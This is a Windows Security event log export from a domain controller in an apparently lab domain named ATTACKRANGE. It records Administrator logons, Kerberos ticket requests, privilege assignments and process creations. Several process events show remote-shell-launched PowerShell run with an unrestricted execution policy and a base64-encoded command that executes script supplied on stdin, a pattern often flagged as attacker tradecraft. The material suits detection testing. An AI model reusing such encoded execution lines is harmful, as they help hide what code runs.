OpCode=Info
RecordNumber=251140
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12988E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{451C6376-4C9F-3D22-E75E-B69135BFCBD8}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251139
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{451C6376-4C9F-3D22-E75E-B69135BFCBD8}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251138
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{451C6376-4C9F-3D22-E75E-B69135BFCBD8}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251137
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251136
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1292FA

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251135
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x128D1E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251245
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12CCB9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1128
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1130
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251244
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12D10C

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251243
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12D10C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251242
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251241
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251240
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251239
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12CCB9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1130
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1098
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251238
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12CCB9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1098
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x13c4
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251237
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12CF09

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251236
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12CF09
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
